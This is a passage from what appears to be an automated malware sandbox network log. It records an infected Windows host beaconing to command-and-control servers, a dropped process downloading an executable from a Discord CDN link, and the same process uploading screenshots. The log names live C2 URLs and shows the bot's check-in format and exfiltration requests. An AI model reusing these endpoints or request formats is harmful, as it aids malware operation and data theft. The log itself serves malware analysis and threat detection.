2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.7	49755	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:53.160823107 CEST	13804	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 262 Host: atvcampingtrips.com
Aug 21, 2021 21:46:53.160834074 CEST	13804	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 62 01 e7 a8 Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vub^UbeJz>h21>qI=vIO,)_]821R@e>DqN {=^W1\VuPK6e\T;v\|G!Jo
Aug 21, 2021 21:46:53.690794945 CEST	13805	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.7	49756	187.190.48.60	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:53.896058083 CEST	13806	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 238 Host: atvcampingtrips.com
Aug 21, 2021 21:46:53.896091938 CEST	13806	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 27 33 dc bb Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vu'3P\fcIo+@?h6)DFk/^n<=]Ga.% f0&[.N\f_\Mz7Elu-n
Aug 21, 2021 21:46:54.602497101 CEST	13807	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.7	49757	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:54.809973955 CEST	13808	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 230 Host: atvcampingtrips.com
Aug 21, 2021 21:46:54.810024023 CEST	13808	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 7b 50 ff fb Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vu{Pm[]L2U]Mn2@D9@mS1_DR0}p:]:@S._MD{tN6P"x\|YD=x[
Aug 21, 2021 21:46:55.338582039 CEST	13809	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.7	49758	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:55.638348103 CEST	13810	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 182 Host: atvcampingtrips.com
Aug 21, 2021 21:46:55.638359070 CEST	13810	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 25 0b d0 94 Data Ascii: 9n#f#txyd\|4.)r"?$`7C[zqNA -[k,vu%x.Ov1QiN6x]FX.Kp@=P,c=Y41'Z%W+HYn
Aug 21, 2021 21:46:56.165143967 CEST	13811	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.7	49759	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:56.846102953 CEST	13811	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.206 Content-Length: 86 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 32 66 32 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 33 38 35 37 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b2f25&os=1&bi=1&ar=1&pc=238576&un=user&dm=&av=13&lv=0
Aug 21, 2021 21:46:56.966464996 CEST	13812	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Aug 2021 19:46:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 38 38 0d 0a 3c 63 3e 31 30 30 30 30 31 39 30 30 31 2b 2b 2b 51 55 6f 4b 4c 50 2b 4c 44 42 49 41 6c 77 4a 38 5a 46 56 54 47 43 70 7a 50 50 42 44 5a 64 6d 62 55 78 32 52 4b 4b 75 68 34 63 55 69 6c 56 67 66 58 58 34 47 72 74 30 50 6c 77 66 76 52 72 43 47 57 76 70 35 6b 33 41 44 6a 6e 35 51 4e 45 4c 66 76 4c 49 78 6d 68 6e 2b 63 66 65 46 68 2b 2f 52 2b 39 35 62 4f 41 73 47 49 33 4d 74 49 43 52 44 6d 77 52 6d 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 88<c>1000019001+++QUoKLP+LDBIAlwJ8ZFVTGCpzPPBDZdmbUx2RKKuh4cUilVgfXX4Grt0PlwfvRrCGWvp5k3ADjn5QNELfvLIxmhn+cfeFh+/R+95bOAsGI3MtICRDmwRm#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.7	49760	162.159.130.233	80	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:57.295387030 CEST	13813	OUT	GET /attachments/878382243242983437/878684457245220884/mrmoms.exe HTTP/1.1 Host: cdn.discordapp.com
Aug 21, 2021 21:46:57.318205118 CEST	13814	IN	HTTP/1.1 301 Moved Permanently Date: Sat, 21 Aug 2021 19:46:57 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Sat, 21 Aug 2021 20:46:57 GMT Location: https://cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exe X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WpltPDynB6wd2KBsXqu%2F8Q0n1WelJgcBxHhVxiOt9nGef4yoPqMNzlhIHS4bYLgd3HcwPBaNjVkH%2BLtjAD9U8XviBWk5xEvyfrPMi2PDY%2F1ixQp2M7BOQbN0cOKTFoaYrVm3dQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 68265ed429ab0629-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.7	49761	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:57.434165001 CEST	13814	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----3b30e0a4328a60bfa22d5d48e3b38b18 Host: 185.215.113.206 Content-Length: 110874 Cache-Control: no-cache
Aug 21, 2021 21:46:57.434437037 CEST	13815	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 62 33 30 65 30 61 34 33 32 38 61 36 30 62 66 61 32 32 64 35 64 34 38 65 33 62 33 38 62 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------3b30e0a4328a60bfa22d5d48e3b38b18Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 21, 2021 21:46:57.449522018 CEST	13825	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 21, 2021 21:46:57.450054884 CEST	13827	OUT	Data Raw: 28 aa 7f 62 9f fe 82 77 7f f7 cc 5f fc 45 79 e7 71 72 8a a7 f6 29 ff 00 e8 27 77 ff 00 7c c5 ff 00 c4 51 f6 29 ff 00 e8 27 77 ff 00 7c c5 ff 00 c4 50 05 ca 2a 9f d8 a7 ff 00 a0 9d df fd f3 17 ff 00 11 47 d8 a7 ff 00 a0 9d df fd f3 17 ff 00 11 40 Data Ascii: (bw_Eyqr)'w\|Q)'w\|PG@(bw_Ebw_E\1}1r)'w\|Q)'w\|PG@(bw_Ebw_E\
Aug 21, 2021 21:46:57.509079933 CEST	13852	OUT	Data Raw: a1 3f 3a 0a 28 a2 80 3e c4 d2 42 ff 00 64 d8 96 45 6c 40 9d 47 fb 22 b4 4c 11 b2 06 f2 90 02 3a ed ff 00 0a ce d2 bf e4 0f 65 ff 00 5c 13 ff 00 41 15 20 d4 ef 12 5f 2d b4 a9 be c7 bb cb 17 01 c1 39 3c 67 60 e7 6e 7b fe 38 c7 35 f3 78 28 ba 93 94 Data Ascii: ?:(>BdEl@G"L:e\A _-9<g`n{85x(7[i(E2Z=A(]!l5}zlU?^{4sJ!r\fs#R`P~o,>LEzgR@_A-jk~N#;@#k+[
Aug 21, 2021 21:46:57.567420959 CEST	13906	OUT	Data Raw: be 82 bd 55 d4 88 e9 53 0e 98 35 13 69 f7 0a 7e e1 ab e2 ed c7 7a 95 2f 1b bd 1e ce 93 d8 3d ad 54 64 9b 59 87 f0 1f ca 9a 62 71 d5 4d 6f 0b b5 3d 56 9d e7 42 df 79 05 3f ab c5 ec c5 f5 89 2d d1 ce ed 23 b5 28 15 d1 6c b4 7f e0 5a 69 b2 b4 7e 83 Data Ascii: US5i~z/=TdYbqMo=VBy?-#(lZi~0z:T3vJO4R}L)L:t9S]NIT}S/U?:c`j,iq@)W),Ju&)E1AJR;TbbSZD J]Nb.Eyu0>[
Aug 21, 2021 21:46:57.630902052 CEST	13927	OUT	Data Raw: b7 ff 00 e3 b5 5a f6 e6 f2 ee 34 51 a3 ea b0 b2 3e f5 74 7b 62 41 c1 1d e4 23 a1 35 83 a1 7c 43 83 55 f1 2c d6 12 a2 c5 6b 2b 6d b3 73 c1 24 76 6f f7 bb 7e 55 d6 5b ea d6 37 7a 8d d5 84 13 ab dc da e3 cd 41 db 3f cf df d2 9d 5a 33 a4 ed 38 74 bf Data Ascii: Z4Q>t{bA#5\|CU,k+ms$vo~U[7zA?Z38t_&hUWaZ;i'0Guy$E\|ZSJ7K3nI7Z))yH((Q@4Q@PKIE8QIE-(b(AESRP(IEQE-QLEL
Aug 21, 2021 21:46:57.678633928 CEST	13927	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 33 62 33 30 65 30 61 34 33 32 38 61 36 30 62 66 61 32 32 64 35 64 34 38 65 33 62 33 38 62 31 38 2d 2d 0d 0a Data Ascii: ------3b30e0a4328a60bfa22d5d48e3b38b18--
Aug 21, 2021 21:46:57.807898998 CEST	13929	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Aug 2021 19:46:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.7	49764	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:59.275547028 CEST	17429	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d218579a66992cae412fb54156448c6f Host: 185.215.113.206 Content-Length: 106263 Cache-Control: no-cache
Aug 21, 2021 21:46:59.275712013 CEST	17429	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 32 31 38 35 37 39 61 36 36 39 39 32 63 61 65 34 31 32 66 62 35 34 31 35 36 34 34 38 63 36 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d218579a66992cae412fb54156448c6fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 21, 2021 21:46:59.275962114 CEST	17439	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 21, 2021 21:46:59.276087046 CEST	17441	OUT	Data Raw: 4e a2 80 1a 68 c5 2e 28 22 80 1b 45 2d 14 ac 31 28 a5 a2 80 12 8a 5a 28 b0 5c 4a 29 68 a2 c0 25 14 e3 49 45 82 e2 52 d0 07 34 ea 04 21 a4 a5 c5 14 c0 4a 29 68 ef 48 04 a2 96 83 4c 00 d1 47 7a 28 01 b5 35 a7 fc 7e db ff 00 d7 55 fe 62 a1 a9 6d bf Data Ascii: Nh.("E-1(Z(\J)h%IER4!J)hHLGz(5~Ubm?Cxz}\|):\|7%<j.<)hG95<i6z_pI+[J\|H`k'7\5uScY)QIK_B~tQE}
Aug 21, 2021 21:46:59.338562965 CEST	17447	OUT	Data Raw: b4 94 b4 94 c0 29 69 29 68 00 a2 8a 39 a0 05 a2 92 8c d0 21 d4 52 0a 5a 00 33 4a 29 0d 1d a9 88 75 00 d3 41 a3 34 c0 7e ea 4c d3 73 4b 45 c5 61 dc 1a 31 9a 6d 2e 68 b8 0b b6 9a 52 9c 0d 3b 34 f4 61 76 88 b6 d2 6d a9 a9 70 0d 1c a1 cc 41 83 45 4c Data Ascii: )i)h9!RZ3J)uA4~LsKEa1m.hR;4avmpAELVe.QR+\P1(@'zu%(!+d)?&Z^-,7c#D>W]?d,fe;9Ueu$v6jf=*tU<o
Aug 21, 2021 21:46:59.339071989 CEST	17452	OUT	Data Raw: 31 45 2d 18 a6 21 28 a5 c5 00 51 60 b8 94 98 a7 62 8a 02 e2 51 4b 49 de 81 90 8a ee 6c f5 5b 06 f0 fe 89 a6 c7 25 94 1a 9b 69 97 71 45 a8 bc f8 6b 67 69 a5 3e 5b 82 db 14 3a 12 b9 2a 08 de 0e 40 ae 26 93 62 93 d2 b0 a9 4f 9e 3c bf d6 cd 7e a6 d0 Data Ascii: 1E-!(Q`bQKIl[%iqEkgi>[:*@&bO<~z@kKX-]m<E-K%/A3\| ji_Qh0J{9m(o2yyKPtMZVF(PmX2F0 #lmI\\
Aug 21, 2021 21:46:59.339869976 CEST	17460	OUT	Data Raw: a3 94 39 88 76 50 56 a7 db 49 b6 9f 28 73 10 15 a6 95 ab 05 69 0a 54 f2 8d 48 ac 56 9a 52 ac 95 a6 94 a9 71 2d 4c ad b6 93 6d 58 29 4d 2b 51 ca 52 91 5c ad 34 ad 4e 56 98 52 a5 c4 b5 22 12 29 85 6a 72 b4 d2 2b 37 12 d3 20 2b 4d 22 a7 22 98 45 4b Data Ascii: 9vPVI(siTHVRq-LmX)M+QR\4NVR")jr+7 +M""EKEDE6"EMLa%:CE)AC1@n)UL/uj[RVpb1~n-#x4={GIupGDu'}/MI\?YEdB
Aug 21, 2021 21:46:59.340538025 CEST	17462	OUT	Data Raw: 56 b9 4b 76 ed 47 d9 2d cf 4e 2a 7d 8b e8 c7 ed d7 54 64 d1 5a a7 4f 8c f4 6a 8c e9 87 b3 0a 5e c6 61 ed a0 67 62 8c 55 e3 a7 4a 07 1c d3 0d 94 c3 f8 4d 2f 65 25 d0 a5 52 2f a9 54 75 a5 a9 8d bc 8b fc 27 f2 a8 ca 30 ec 69 72 b4 57 32 63 45 2d 1b Data Ascii: VKvG-N}TdZOj^agbUJM/e%R/Tu'0irW2cE-M.+((bSINBa@ipMSDiE%(M(RR"Ci1OCmjmmC\T])r2""&6aG6ir1QV69
Aug 21, 2021 21:46:59.340861082 CEST	17465	OUT	Data Raw: 79 81 4b 45 25 02 3d 0b e0 ef fc 8e d0 7f c0 bf f4 5c 95 f4 05 fe a3 0e 9e 91 99 03 bc 92 b6 d8 e2 8d 72 ce 71 9e 3f 01 d4 e0 0f 5a f9 ff 00 e0 ef fc 8e d0 7f c0 bf f4 5c 95 ef 1a ed 9e 97 71 a7 49 71 ab c7 9b 6b 44 69 99 b7 30 d8 a1 4e e3 f2 f2 Data Ascii: yKE%=\rq?Z\qIqkDi0NF3z+{j(J~ab;-Swk6dBK~c[w214Y#m$y9?3V1k(1[rNX*tCRwx~X3np{:DnHW
Aug 21, 2021 21:46:59.340887070 CEST	17467	OUT	Data Raw: 53 c7 5a 02 53 b6 d5 24 4d c0 53 c5 34 0a 78 15 44 30 c5 3b 6d 25 28 a0 90 d9 46 ca 90 53 85 3b 13 cc ca e6 3a 4f 2e ad 62 97 66 68 b0 73 94 fc ba 4f 2e ae f9 74 9e 57 b5 2e 51 fb 42 97 97 46 ca b6 62 f6 a6 98 fd a8 e5 2b da 15 0a 51 b6 ad 18 e9 Data Ascii: SZS$MS4xD0;m%(FS;:O.bfhsO.tW.QBFb+QR9Wm.m!J,>r60)RR.)q@bQa\L})5?)C!6{bQ)qKhmtaqRC@GE>P,RV)>hsTgqG?1s!?J
Aug 21, 2021 21:46:59.401571989 CEST	17478	OUT	Data Raw: 27 98 4a e8 a8 9c 10 a0 2a 86 62 77 63 a7 71 59 9a 46 a1 65 a7 ea 5f da 37 7a 75 dc f7 49 72 b7 30 3d bd ef 92 55 81 ce 18 ec 6d c3 38 e9 b4 f5 e7 9e 2e b7 8b 2e 2e ad a2 b3 be d3 92 5b 13 1c ab 73 6e 92 6c 0e ef 33 ca b2 47 c1 f2 d9 0c 98 1f 7b Data Ascii: 'JbwcqYFe_7zuIr0=Um8...[snl3G{"]kw)_\;sz}zc8R($;QEsJhKN(!h.E:N5UQM<QM!M<p9iIKTHN)HAp5i
Aug 21, 2021 21:47:00.483860016 CEST	17540	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Aug 2021 19:47:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
